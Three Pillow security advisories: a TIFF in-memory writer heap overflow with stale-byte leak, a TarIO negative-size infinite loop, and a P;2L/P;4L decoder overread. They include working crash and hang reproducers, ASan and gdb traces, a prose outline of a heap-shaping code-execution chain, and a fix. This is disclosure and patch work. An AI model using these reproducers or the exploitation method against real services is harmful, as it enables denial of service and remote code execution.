Proof (overflow). A 131 198-byte hand-built TIFF — mode L, 7×8191, Compression=32773 (PackBits), an ImageDescription of 65 535 characters — opened with Image.open() and saved with im.save(io.BytesIO(), "TIFF") aborts a stock build with glibc's malloc(): corrupted top size. The same call against an AddressSanitizer build of the C extensions reports

AddressSanitizer: heap-buffer-overflow ... WRITE of size 65536
 #&#8203;1 _tiffWriteProc src/libImaging/TiffDecode.c:115
 #&#8203;4 TIFFFlush
 #&#8203;5 ImagingLibTiffEncode src/libImaging/TiffDecode.c:1056
0 bytes to the right of 131072-byte region, allocated by realloc in _tiffWriteProc src/libImaging/TiffDecode.c:103

Proof (uninitialised bytes). Saving one 300×300 RGB image as compression="tiff_lzw" with four odd-length ASCII tags to a BytesIO, once with MALLOC_PERTURB_=1 (glibc fills fresh allocations with 0xfe) and once with MALLOC_PERTURB_=170 (0x55), gives two 369 463-byte TIFFs that differ in exactly 4 bytes, 0xfe vs 0x55, at offsets 369177, 369417, 369423, 369451 — the pad byte between the odd-length last strip and the IFD, and the pad byte after each odd-length tag value except the last. The same save to a filename gives byte-identical files with 0x00 there. Without any allocator tweaks, after a few 64 KB–400 KB Python bytes objects filled with 0xa7 are created and freed, re-saving an uploaded LZW TIFF carrying ten odd-length ASCII tags yields 0xa7 at all nine pad offsets.

Code walk-through

The sink's state is {data, size (allocated), loc (position), eof (high-water mark)}; the encoder path starts it as a zeroed 64 KiB block (TiffDecode.c:863, calloc(bufsize, 1) with bufsize = 64*1024, flrealloc = 1). Seeking is unconstrained:

/* src/libImaging/TiffDecode.c:124-141  _tiffSeekProc */
    case 0: state->loc = off;            break;   /* may exceed eof and size */
    case 1: state->loc += off;           break;
    case 2: state->loc = state->eof + off; break;

and writing assumes loc <= size:

/* src/libImaging/TiffDecode.c:90-117  _tiffWriteProc */
    to_write = MIN(size, state->size - (tsize_t)state->loc);   /* negative if loc > size */
    if (state->flrealloc && size > to_write) {
        tsize_t newsize = state->size;
        while (newsize < (size + state->size)) {               /* capacity target ignores loc */
            …
            newsize += 64 * 1024;
        }
        new_data = realloc(state->data, newsize);              /* tail left uninitialised */
        …
        state->size = newsize;
        to_write = size;
    }
    _TIFFmemcpy((UINT8 *)state->data + state->loc, buf, to_write);   /* :115 */
    state->loc += (toff_t)to_write;
    state->eof = MAX(state->loc, state->eof);

A gdb trace of the sink calls during the overflowing save (stock build, breakpoints on the two procs) shows how libtiff drives it:

write size=63064 at loc=8      (eof=8     size=65536)     strip data (PackBits re-encode:
write size=2464  at loc=63072  (eof=63072 size=65536)      8 bytes/row × 8191 rows)
seek  off=0     whence=2       -> loc=65536 = eof = size   TIFFWriteDirectory: end of data, already even
seek  off=4;  write size=4 at loc=4                        link IFD offset into header
seek  off=65662 whence=0       (eof=65536 size=65536)      65536 + 126-byte IFD (10 entries) = tag data area
write size=65536 at loc=65662  (eof=65536 size=65536)      ImageDescription, first out-of-line value

For that last call to_write = 65536 − 65662 = −126, the loop grows newsize until it is ≥ 65536 + 65536, i.e. to 131072, and the memcpy writes [65662, 131198) into a 131072-byte block: 126 bytes past the end, containing the last 126 bytes of the description string. loc/eof become 131198 > size; ImagingLibTiffEncode later sets size = eof (:1067) and copies [0, eof) out of the same block (:1073), reading past it as well.

The general condition is: at directory-write time the strip data ends within IFD-size bytes of the current allocation boundary, and the first out-of-line tag value has a length just below a multiple of 64 KiB. The overrun length is IFD size + pad − slack, so it grows by 12 bytes per additional tag. For single-band images (L, P, 1, I;16, F…) BitsPerSample is stored inline and the first out-of-line value in tag order is DocumentName (269) or ImageDescription (270) — both free-length ASCII strings taken from the source file. Pillow re-encodes the pixels itself, but with PackBits the compressed size is a deterministic function of attacker-chosen pixel rows (the reproducer uses rows of 7 distinct bytes → 8 bytes per row → exactly 65536 bytes including the 8-byte header), so the attacker controls both quantities. For multi-band images the 6-byte BitsPerSample array is written first and absorbs the growth, which is why RGB sources do not hit the overflow.

The disclosure half is the benign version of the same sequence. In the LZW/RGB trace the strip data ends at the odd offset 369177; libtiff places the IFD at 369178 and the tag values from 369364 on, and after each odd-length value seeks one byte forward before the next write (seek off=369418 (loc=369417), write size=5 at loc=369418, …). Offsets 369177, 369417, 369423 and 369451 are therefore never written. They lie in the part of the buffer obtained by the realloc() calls at :103 (the block grew 65536 → 196608 → 327680 → 458752 during the strip writes), which is not cleared, so the emitted file carries the previous heap contents at those positions. Holes that fall inside the initial 64 KiB are zero only because that block is calloc'd.

The defect was introduced in e782fe721e01 ("initial merge of wiredfool/Python-Imaging-Library-G4-Tiff-Support", 2013-03-08), first released in Pillow 2.0.0.

Impact

Any service that accepts an image and produces a TIFF rendition into a non-file object — the usual pattern for returning or uploading the result without touching disk — is exposed to whoever supplies the image, with no non-default Pillow setting involved. The overflow additionally requires that an attacker-controlled out-of-line tag value reaches libtiff: the uploaded ImageDescription/DocumentName/XMP when the application saves the opened TIFF itself (or copies its tags into the save), or the embedded ICC profile, which survives convert()/resize()/thumbnail()/copy() in im.info together with the compression. Under those conditions, with a crafted single-band TIFF the uploader gets a heap out-of-bounds write in the worker process of IFD-size bytes (12 bytes per directory entry the upload carries — 126 bytes with the minimal reproducer, 2384 bytes with a 331-entry IFD) immediately past a 128 KiB-class realloc block, with the overwritten bytes being the tail of a tag value they chose; on the stock build the minimal reproducer is detected by glibc and kills the process (SIGABRT).

Given two addresses leaked by a separate bug, this write has been turned into code execution against a stock build of this commit with ASLR/PIE/NX enabled and default settings (that proof-of-concept is not included with this report): a single-process stdlib http.server worker doing nothing but Image.open(BytesIO(body)).save(BytesIO(), "TIFF") per upload executed an attacker-chosen shell command (id>/tmp/r.XXXXXX), answered 200 and kept serving (12/12 against a freshly started worker, 2/6 after twenty unrelated uploads; a miss normally leaves the worker running and is retryable). The two addresses (&system, &PyBytes_Type) were taken from an unrelated information disclosure in the same process; everything else is this bug plus properties of Pillow's TIFF reader used as a heap-shaping script. The 4.7 MB attack TIFF is a 397×165 8-bit PackBits image whose rows re-encode to exactly 65 528 bytes (strip ends at sink offset 65 536), a 63 942-byte XMP packet (tag 700) as the first out-of-line value, and ~500 private IFD entries. Because TiffImagePlugin turns every IFD entry into one bytes object in IFD order, frees an earlier entry when a later one repeats its tag number, and parses the IFD three times per request (TiffImagePlugin.py:1258, :1271, and getexif() from load_end() at :1331), those entries drain glibc's free lists, punch exact-size holes for every large allocation the save makes, and arrange that the 128 KiB realloc of the sink lands directly below a live 0x540 chunk followed by libtiff's own TIFF handle (malloc(1313) from TIFFClientOpen). The 2384 overflowing bytes rewrite the start of the TIFF struct with the command string, a zeroed tif_dir, tif_diroff = 65536, and tif_cleanup = system at +0x3f8; libtiff resumes TIFFWriteDirectorySec on the modified handle and calls (*tif->tif_cleanup)(tif). With gdb on __libc_system the call arrives as __libc_system("id>/tmp/r.…") ← libtiff.so.6 ← TIFFFlush ← ImagingLibTiffEncode (src/libImaging/TiffDecode.c:1056) ← _encode (src/encode.c:139). Offsets are per-binary constants (glibc 2.36, CPython 3.12.14, libtiff 4.5.0, this _imaging.so), all obtainable from public distribution files.

Independently, every compressed TIFF written to such a target that exceeds 64 KiB discloses one byte of stale heap per alignment hole (one per odd-length tag value plus possibly one before the IFD; the count is set by the tags in the uploaded file) at predictable offsets in the returned file — low bandwidth, but it is other requests' freed data. File-path and real-fd targets (TIFFFdOpen) are unaffected by either issue. The primitive is the same class and attacker position as the TiffDecode.c decode-side heap overflows CVE-2020-35654, CVE-2021-25289 and CVE-2020-10379, but on the encode path and behind the output-to-a-non-file and tag-passthrough preconditions above, with code execution additionally depending on an address leak from another bug.

Reproducing

repro is a single Python script that uses the installed Pillow, writes its inputs into a temporary directory. It has two parts. Each part compares saving to a file path, which goes through TIFFFdOpen and is correct, with the same save into an io.BytesIO, which goes through the _tiffWriteProc memory sink.

Part 1: heap overflow. setup_env() builds upload.tif (131 198 bytes) byte by byte: a mode L, 7×8191 image with Compression=32773 (PackBits) and a 65 535-character ImageDescription. The sizes are picked so that when Pillow re-encodes the pixels, the strip comes to 8 + 8191 × 8 = 65 536 bytes and ends exactly at the sink's initial 64 KiB buffer. libtiff then seeks past the 126-byte IFD and writes the 65 536-byte description at offset 65 662. The sink grows only to 131 072 bytes, so the last 126 bytes of the description are written past the end of the heap block. In a fresh child process, the script runs Image.open("upload.tif").save(<target>, "TIFF") with no options, once with "out.tif" as the target and once with io.BytesIO(). The file save exits with 0. The BytesIO save is killed by SIGABRT, with glibc reporting malloc(): corrupted top size.

Part 2: stale heap bytes in the output. A child started with MALLOC_PERTURB_=170 (glibc fills fresh allocations with 0x55) saves a seeded-noise 300×300 RGB image with compression="tiff_lzw" and four odd-length ASCII tags. It saves once to a file and once to a BytesIO, then prints every offset where the two outputs differ. libtiff skips one pad byte before the IFD and one after each odd-length tag value. The file has 0x00 at those offsets, but the BytesIO output still holds the 0x55 that was in uninitialised realloc() memory.

Expected output on this tree:

upload.tif: 131198 bytes
save to file path : exit code 0, out.tif = 131210 bytes
save to BytesIO   : exit code -6, stderr: 'malloc(): corrupted top size'
-> heap overflow crashed the process: True

same image, same options, saved to a file path vs. to a BytesIO:
  offset 369177: file 0x00   BytesIO 0x55
  offset 369417: file 0x00   BytesIO 0x55
  offset 369423: file 0x00   BytesIO 0x55
  offset 369451: file 0x00   BytesIO 0x55

-> BytesIO output contains never-written heap bytes: True

BUG

The last line is BUG if either part shows its defect, and OK otherwise. With the attached patch applied and rebuilt, the BytesIO save exits with 0, the two outputs are identical, and the script prints OK.

Suggested fix

The attached patch makes _tiffWriteProc in src/libImaging/TiffDecode.c honour sparse-file semantics: it sizes the buffer from the write position, and zeroes what realloc() adds (the initial block is already calloc'd, so every byte libtiff skips then reads as 0, exactly as through TIFFFdOpen). For the non-reallocating case (flrealloc == 0), where loc > size would also make to_write negative, it rejects the write with a TIFFError, the same idiom _tiffReadProc uses:

-        while (newsize < (size + state->size)) {
+        while (newsize < (size + (tsize_t)state->loc)) {
 …
+        memset((UINT8 *)new_data + state->size, 0, newsize - state->size);
         state->data = new_data;
         state->size = newsize;
         to_write = size;
+    } else if (to_write < 0) {
+        TIFFError("_tiffWriteProc", "Invalid Write at loc %" PRIu64 ", size: %" PRIu64, …);
+        return 0;
     }

_tiffSeekProc is left unconstrained, since libtiff legitimately seeks past the end of data; with the write proc fixed, eof can no longer exceed size, so the read-out in ImagingLibTiffEncode (:1067, :1073) stays within the block. The patch also adds test_save_bytesio_seek_past_end to Tests/test_file_libtiff.py, which saves the PackBits 64 KiB-boundary case and an LZW case with odd-length tags to both a file and a BytesIO and asserts the outputs are identical. With the patch applied and rebuilt, the BytesIO output is byte-identical to the file output, no AddressSanitizer report is produced for tag lengths 65410/65535/131071/196607, the code-execution chain described under Impact no longer runs its command, and the existing TIFF tests pass.

The patch

Size the libtiff in-memory write buffer from the write position, not its current size, and zero the space added by realloc in _tiffWriteProc

Applies to src/libImaging/TiffDecode.c at the commit above.

diff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py
index 3d804ea4a..d2a926a62 100644
--- a/Tests/test_file_libtiff.py
+++ b/Tests/test_file_libtiff.py
@@ -760,6 +760,38 @@ class TestFileLibTiff(LibTiffTestCase):
         save_bytesio("packbits")
         save_bytesio("tiff_lzw")
 
+    def test_save_bytesio_seek_past_end(self, tmp_path: Path) -> None:
+        # When writing the directory, libtiff seeks past the end of the data
+        # written so far, and then writes the tag values there. Check that the
+        # in-memory write buffer grows to fit, and that the bytes that are
+        # skipped over are zero, as they would be when writing to a file.
+
+        # 7 distinct bytes per row: PackBits emits 8 bytes per row, so the strip
+        # plus the header are exactly 64 KiB, the initial size of the buffer
+        im = Image.new("L", (7, 8191))
+        im.putdata([(i * 37) & 0xFF for i in range(7 * 8191)])
+        kwargs = {"compression": "packbits", "description": "D" * 65535}
+
+        outfile = tmp_path / "temp.tif"
+        im.save(outfile, **kwargs)
+        buffer_io = io.BytesIO()
+        im.save(buffer_io, format="tiff", **kwargs)
+        assert buffer_io.getvalue() == outfile.read_bytes()
+
+        # odd-length tag values, so that libtiff pads between them. Large enough
+        # that the buffer has to be reallocated
+        im = hopper().resize((300, 300))
+        kwargs = {
+            "compression": "tiff_lzw",
+            "description": "abcdef",
+            "software": "xyz0",
+            "tiffinfo": {315: "artist", 33432: "copyright!"},
+        }
+        im.save(outfile, **kwargs)
+        buffer_io = io.BytesIO()
+        im.save(buffer_io, format="tiff", **kwargs)
+        assert buffer_io.getvalue() == outfile.read_bytes()
+
     def test_save_ycbcr(self, tmp_path: Path) -> None:
         im = hopper("YCbCr")
         outfile = tmp_path / "temp.tif"
diff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c
index 8a57c523d..dd9945493 100644
--- a/src/libImaging/TiffDecode.c
+++ b/src/libImaging/TiffDecode.c
@@ -87,11 +87,13 @@ _tiffWriteProc(thandle_t hdata, tdata_t buf, tsize_t size) {
     TRACE(("_tiffWriteProc: %d \n", (int)size));
     dump_state(state);
 
+    // libtiff may have seeked past the end of the buffer, e.g. when writing the
+    // directory, so the required size is based on the current location.
     to_write = MIN(size, state->size - (tsize_t)state->loc);
     if (state->flrealloc && size > to_write) {
         tdata_t new_data;
         tsize_t newsize = state->size;
-        while (newsize < (size + state->size)) {
+        while (newsize < (size + (tsize_t)state->loc)) {
             if (newsize > INT_MAX - 64 * 1024) {
                 return 0;
             }
@@ -105,9 +107,20 @@ _tiffWriteProc(thandle_t hdata, tdata_t buf, tsize_t size) {
             // fail out
             return 0;
         }
+        // zero the new space, so that any bytes libtiff seeks over without
+        // writing are 0 in the output, as they would be in a file
+        memset((UINT8 *)new_data + state->size, 0, newsize - state->size);
         state->data = new_data;
         state->size = newsize;
         to_write = size;
+    } else if (to_write < 0) {
+        TIFFError(
+            "_tiffWriteProc",
+            "Invalid Write at loc %" PRIu64 ", size: %" PRIu64,
+            state->loc,
+            (toff_t)state->size
+        );
+        return 0;
     }
 
     TRACE(("to_write: %d\n", (int)to_write));
The reproducer
Reproducer — repro, 5,434 bytes (click to open)

Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.


#!/usr/bin/env python3
"""
Pillow: heap overflow + stale heap bytes in the libtiff in-memory write sink
(_tiffWriteProc, src/libImaging/TiffDecode.c).

im.save(<BytesIO>, "TIFF") with any compression goes through libtiff writing
into Pillow's memory sink. When libtiff writes the directory it seeks *past*
the end of the data written so far and writes tag values there:

  1. _tiffWriteProc grows the buffer to `size + write_len` instead of
     `loc + write_len`, so that write can run off the end of the allocation.
  2. The bytes libtiff skipped over are never written, so whatever the heap
     held there ends up in the output file.

The same saves to a file path are fine (the kernel zero-fills skipped bytes),
which is the control for both parts.
"""
import os
import resource
import struct
import subprocess
import sys
import tempfile

resource.setrlimit(resource.RLIMIT_CORE, (0, 0))   # the overflow aborts; no core file
os.chdir(tempfile.mkdtemp())

def run(code, **env):
    """Run a Python snippet against the installed Pillow in a fresh process."""
    return subprocess.run([sys.executable, "-c", code], env={**os.environ, **env},
                          capture_output=True, text=True)

def setup_env():
    """Write upload.tif: an L-mode 7x8191 PackBits TIFF with a 65535-char ImageDescription.

    Sizes are chosen so that, when Pillow re-encodes it:
      - the PackBits strip is 8191 rows x 8 bytes + 8-byte header = 65536 bytes,
        i.e. the data ends exactly at the sink's initial 64 KiB buffer;
      - the first out-of-line tag value (ImageDescription + NUL) is 65536 bytes
        and goes at 65536 + 126 (the 10-entry IFD sits in between).
    The sink grows to 65536 + 65536 = 131072 bytes, then writes [65662, 131198):
    the last 126 bytes of the description land past the end of the heap block.
    """
    w, h = 7, 8191
    # 7 distinct bytes per row -> PackBits can only emit one literal run: 1 + 7 bytes
    strip = b"".join(b"\x06" + bytes((y * 7 + x) * 37 & 0xFF for x in range(w)) for y in range(h))
    desc = b"D" * 65535 + b"\x00"
    strip_off, desc_off = 8, 8 + len(strip)
    ifd_off = desc_off + len(desc)
    entries = [
        (256, 4, 1, w),                  # ImageWidth
        (257, 4, 1, h),                  # ImageLength
        (258, 3, 1, 8),                  # BitsPerSample
        (259, 3, 1, 32773),              # Compression = PackBits (inherited by save())
        (262, 3, 1, 1),                  # PhotometricInterpretation = BlackIsZero
        (270, 2, len(desc), desc_off),   # ImageDescription (carried into save() via tag_v2)
        (273, 4, 1, strip_off),          # StripOffsets
        (277, 3, 1, 1),                  # SamplesPerPixel
        (278, 4, 1, h),                  # RowsPerStrip
        (279, 4, 1, len(strip)),         # StripByteCounts
    ]
    ifd = struct.pack("<H", len(entries))
    ifd += b"".join(struct.pack("<HHII", *e) for e in entries)
    ifd += struct.pack("<I", 0)
    with open("upload.tif", "wb") as f:
        f.write(struct.pack("<2sHI", b"II", 42, ifd_off) + strip + desc + ifd)

##### ---------------------------------------------------------------------------

##### Part 1: heap buffer overflow. Re-save an uploaded TIFF with no options.
##### ---------------------------------------------------------------------------
setup_env()
print(f"upload.tif: {os.path.getsize('upload.tif')} bytes")

RESAVE = 'from PIL import Image; import io; Image.open("upload.tif").save({target}, "TIFF")'

##### Control: saving to a file path (real fd, no memory sink) works
control = run(RESAVE.format(target='"out.tif"'))
print(f"save to file path : exit code {control.returncode}, out.tif = {os.path.getsize('out.tif')} bytes")

##### PoC: the identical save into a BytesIO
poc = run(RESAVE.format(target="io.BytesIO()"))
print(f"save to BytesIO   : exit code {poc.returncode}, stderr: {poc.stderr.strip()!r}")

##### A process killed by a signal (SIGABRT from glibc's heap check) = heap corrupted
overflow = control.returncode == 0 and poc.returncode < 0
print(f"-> heap overflow crashed the process: {overflow}\n")

##### ---------------------------------------------------------------------------

##### Part 2: stale heap bytes in the output. MALLOC_PERTURB_=170 makes glibc fill
##### fresh allocations with 0x55, so never-written bytes become visible.

##### ---------------------------------------------------------------------------
STALE = r'''
import io, random
from PIL import Image
random.seed(1)
im = Image.new("RGB", (300, 300))      # noise -> ~360 KB LZW, so the sink must realloc()
im.putdata([tuple(random.randrange(256) for _ in "rgb") for _ in range(300 * 300)])

##### odd-length ASCII tags: libtiff skips one pad byte after each
kw = dict(compression="tiff_lzw", description="abcdef", software="xyz0",
          tiffinfo={315: "artist", 33432: "copyright!", 306: "2024:01:01 00:00:00"})
im.save("ref.tif", "TIFF", **kw)
buf = io.BytesIO()
im.save(buf, "TIFF", **kw)
a, b = open("ref.tif", "rb").read(), buf.getvalue()
for i in (i for i in range(len(a)) if a[i] != b[i]):
    print(f"  offset {i}: file 0x{a[i]:02x}   BytesIO 0x{b[i]:02x}")
'''
stale = run(STALE, MALLOC_PERTURB_="170").stdout
print("same image, same options, saved to a file path vs. to a BytesIO:")
print(stale or "  outputs identical")
leak = "BytesIO 0x55" in stale
print(f"-> BytesIO output contains never-written heap bytes: {leak}\n")

print("BUG" if overflow or leak else "OK")

Severity

  • CVSS Score: 9.2 / 10 (Critical)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: TarIO negative size field causes infinite CPU-spin loop

BIT-pillow-2026-96642 / CVE-2026-96642 / GHSA-3j72-p6qg-6xp7 / PYSEC-2026-4341

More information

Details

Summary

TarIO.__init__ does not check that a tar header's size field is positive. A crafted header with a negative size makes it seek backward onto itself. This causes an infinite loop that uses 100% CPU and never returns.

Details

TarIO.__init__ reads 512-byte tar headers one at a time, looking for a member with a given name. For each header it reads the size field and skips ahead to the next header:

size = int(s[124:135], 8)
...
self.fh.seek((size + 511) & (~511), io.SEEK_CUR)

There is no check that size is zero or more. A tar header can set this field to a negative octal value. For size = -512, the seek offset comes out to exactly -512, which cancels the 512 bytes the loop had just read. The file position goes right back to where this loop step started.

The loop only stops on end of file or when a header name starts with a null byte. Neither happens, since the same header keeps showing up again. The loop never ends on its own.

Steps to reproduce

This uses Tests/images/hopper.tar, a normal file already in the Pillow test suite. It only changes the size field of the first header.

from PIL import TarIO

with open("Tests/images/hopper.tar", "rb") as f:
    data = bytearray(f.read())

##### Set the size field (bytes 124 to 135) to a negative octal value.

##### Octal 1000 is 512, so this is size = -512.
data[124:135] = b"  -00001000"

with open("poisoned.tar", "wb") as f:
    f.write(data)

##### "does-not-exist" does not match the header name, so TarIO must

##### keep scanning. This call never returns.
TarIO.TarIO("poisoned.tar", "does-not-exist")

We confirmed this with ps. The process sits at 98 to 100% CPU and never exits on its own. It only stops if killed from outside.

A pytest version of this, using pytest-timeout so the test does not hang forever, is below. On the current code it fails with Failed: Timeout (>3.0s) from pytest-timeout.

from __future__ import annotations

from pathlib import Path

import pytest

from PIL import TarIO

SOURCE_TAR = "Tests/images/hopper.tar"

@pytest.mark.timeout(3)
def test_negative_size_field_does_not_hang(tmp_path: Path) -> None:
    with open(SOURCE_TAR, "rb") as f:
        data = bytearray(f.read())

    data[124:135] = b"  -00001000"  # octal 1000 = decimal 512, negated

    poisoned_tar = tmp_path / "poisoned.tar"
    poisoned_tar.write_bytes(data)

    with pytest.raises((OSError, ValueError)):
        with TarIO.TarIO(str(poisoned_tar), "does-not-exist"):
            pass
Impact
  • Availability: an attacker who can get a crafted tar file passed to TarIO.TarIO() can hang the process at full CPU with a file just over 512 bytes.
  • Confidentiality: none.
  • Integrity: none.
  • TarIO is a small helper class. It is not used by Image.open() and is not on the default path most Pillow users hit. An app has to call PIL.TarIO.TarIO(path, member_name) directly for this to matter, which some apps do to read an image out of a tar archive.

Severity

  • CVSS Score: 7.1 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: P;2L and P;4L decoders may read 1 to 3 bytes past the passed buffer size

BIT-pillow-2026-112394 / CVE-2026-112394 / GHSA-4558-3h8r-v8xp / PYSEC-2026-4327

More information

Details

Summary

On main, even with the guard in #​9725, it's possible to have these decoders read 1 to 3 bytes past the end of the passed buffer with a suitable width/height.

Details

ImagingRawDecode and the P;2L / P;4L unpackers disagree about how many bytes a line of data occupies.

The raw decoder derives the line size from the bits per pixel

state->bytes = (state->xsize * state->bits + 7) / 8;

and uses it both for the bounds check and to advance to the next line. For P;2L and P;4L, bits is 2 and 4 respectively.

But these two rawmodes are not packed pixels but 2 or 4 bit planes, each padded to a whole number of bytes. unpackP2L computes s = (pixels + 7) / 8 and reads plane k at offset k * s, and unpackP4L does the same across four planes. Their real footprint is therefore planes * ((xsize + 7) / 8).

For some widths, padding each plane separately makes this footprint larger than state->bytes. For example, at width 1, the decoder accounts for one byte, while the unpackers read two or four bytes. The decoder accepts data that is too short for the last line and on the other hand advances to subsequent lines by less than a line, so every line after the first is also read from the wrong offset.

#​9725's check is misshapen for this:

  • It can reject data of the right length: 8x1 P;2L image is 2 bytes but is not accepted.
  • It still accepts buffers shorter than the unpackers require for a given image shape.
  • It measures the length with len(data), which is an element count rather than a byte count; e.g. memoryview(array("I", [0,0,0,0,0])) (20 bytes) is rejected while mv.tobytes() is accepted.
PoC ( ghsa_p2l_p4l.py)
from array import array
from PIL import Image

##### 1 byte past
Image.frombytes("P", (1, 4), array("B", [0] * 4), "raw", "P;2L")

##### 3 bytes past
Image.frombytes("P", (1, 8), array("B", [0] * 8), "raw", "P;4L")

is the almost-simplest reproducer.

(array is needed to get ASan to reliably scream, but the overread is observable with e.g. bytes literals. Python allocates byteses with an extra trailing null byte, from an arena by default to boot, so ASan doesn't see the overread.)

On my Mac, I can get ASan to scream about this with

export asan=$(clang -print-file-name=libclang_rt.asan_osx_dynamic.dylib)
env CFLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" LDFLAGS="-fsanitize=address" uv pip install -e .
env DYLD_INSERT_LIBRARIES=$asan PYTHONMALLOC=malloc ASAN_OPTIONS=detect_leaks=0 python3 ghsa_p2l_p4l.py

like so:

python3(29144,0x202fea2c0) malloc: nano zone abandoned due to inability to reserve vm space.
unpackP2L: in=0x602000037370 i=0 j=0 pixels=1 reads 0x602000037370 0x602000037371
unpackP2L: in=0x602000037371 i=0 j=0 pixels=1 reads 0x602000037371 0x602000037372
unpackP2L: in=0x602000037372 i=0 j=0 pixels=1 reads 0x602000037372 0x602000037373
unpackP2L: in=0x602000037373 i=0 j=0 pixels=1 reads 0x602000037373 0x602000037374
=================================================================
==29144==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000037374 at pc 0x00010778c684 bp 0x00016d029f40 sp 0x00016d029f38
READ of size 1 at 0x602000037374 thread T0
    #&#8203;0 0x00010778c680 in unpackP2L+0x17c (_imaging.cpython-314-darwin.so:arm64+0xb4680)
    #&#8203;1 0x000107765360 in ImagingRawDecode+0x348 (_imaging.cpython-314-darwin.so:arm64+0x8d360)
    #&#8203;2 0x0001076f259c in _decode+0x15c (_imaging.cpython-314-darwin.so:arm64+0x1a59c)
    #&#8203;3 0x0001030d921c in method_vectorcall_VARARGS.llvm.8905850704545875072+0x84 (python3.14:arm64+0x10030521c)
    #&#8203;4 0x000102e585b8 in _TAIL_CALL_CALL.llvm.12785051352303791014+0x13c (python3.14:arm64+0x1000845b8)
    #&#8203;5 0x000102f1c17c in _PyEval_Vector+0x308 (python3.14:arm64+0x10014817c)
    #&#8203;6 0x000102f31864 in PyEval_EvalCode+0x9c (python3.14:arm64+0x10015d864)
    #&#8203;7 0x000102f3fa14 in run_mod.llvm.1224844961852478530+0x120 (python3.14:arm64+0x10016ba14)
    #&#8203;8 0x000103063eb0 in pyrun_file+0xa0 (python3.14:arm64+0x10028feb0)
    #&#8203;9 0x000102dfe834 in _PyRun_SimpleFileObject+0xfc (python3.14:arm64+0x10002a834)
    #&#8203;10 0x00010306cb60 in _PyRun_AnyFileObject+0x4c (python3.14:arm64+0x100298b60)
    #&#8203;11 0x00010306ca54 in pymain_run_file_obj+0xa0 (python3.14:arm64+0x100298a54)
    #&#8203;12 0x000102ffb80c in pymain_run_file+0x44 (python3.14:arm64+0x10022780c)
    #&#8203;13 0x000102ff7d0c in Py_RunMain+0x46c (python3.14:arm64+0x100223d0c)
    #&#8203;14 0x000102fb0820 in pymain_main.llvm.7308572997346072671+0x1cc (python3.14:arm64+0x1001dc820)
    #&#8203;15 0x000102fb0644 in main+0x20 (python3.14:arm64+0x1001dc644)
    #&#8203;16 0x000194c86b94  (<unknown module>)

0x602000037374 is located 0 bytes after 4-byte region [0x602000037370,0x602000037374)
allocated by thread T0 here:
    #&#8203;0 0x0001044a130c in malloc+0x78 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x3d30c)
    #&#8203;1 0x000102f22324 in newarrayobject+0x6c (python3.14:arm64+0x10014e324)
    #&#8203;2 0x000102f21b4c in array_new+0x320 (python3.14:arm64+0x10014db4c)
    #&#8203;3 0x0001030fc390 in type_call+0x5c (python3.14:arm64+0x100328390)
    #&#8203;4 0x000102e58ae4 in _TAIL_CALL_CALL.llvm.12785051352303791014+0x668 (python3.14:arm64+0x100084ae4)
    #&#8203;5 0x000102f1c17c in _PyEval_Vector+0x308 (python3.14:arm64+0x10014817c)
    #&#8203;6 0x000102f31864 in PyEval_EvalCode+0x9c (python3.14:arm64+0x10015d864)
    #&#8203;7 0x000102f3fa14 in run_mod.llvm.1224844961852478530+0x120 (python3.14:arm64+0x10016ba14)
    #&#8203;8 0x000103063eb0 in pyrun_file+0xa0 (python3.14:arm64+0x10028feb0)
    #&#8203;9 0x000102dfe834 in _PyRun_SimpleFileObject+0xfc (python3.14:arm64+0x10002a834)
    #&#8203;10 0x00010306cb60 in _PyRun_AnyFileObject+0x4c (python3.14:arm64+0x100298b60)
    #&#8203;11 0x00010306ca54 in pymain_run_file_obj+0xa0 (python3.14:arm64+0x100298a54)
    #&#8203;12 0x000102ffb80c in pymain_run_file+0x44 (python3.14:arm64+0x10022780c)
    #&#8203;13 0x000102ff7d0c in Py_RunMain+0x46c (python3.14:arm64+0x100223d0c)
    #&#8203;14 0x000102fb0820 in pymain_main.llvm.7308572997346072671+0x1cc (python3.14:arm64+0x1001dc820)
    #&#8203;15 0x000102fb0644 in main+0x20 (python3.14:arm64+0x1001dc644)
    #&#8203;16 0x000194c86b94  (<unknown module>)

SUMMARY: AddressSanitizer: heap-buffer-overflow (_imaging.cpython-314-darwin.so:arm64+0xb4680) in unpackP2L+0x17c
Shadow bytes around the buggy address:
  0x602000037080: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
  0x602000037100: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
  0x602000037180: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
  0x602000037200: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
  0x602000037280: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
=>0x602000037300: fa fa 00 fa fa fa 00 00 fa fa fd fa fa fa[04]fa
  0x602000037380: fa fa 04 fa fa fa fd fd fa fa fd fd fa fa fd fd
  0x602000037400: fa fa fd fd fa fa fd fd fa fa fd fa fa fa 00 fa
  0x602000037480: fa fa 01 fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x602000037500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x602000037580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb

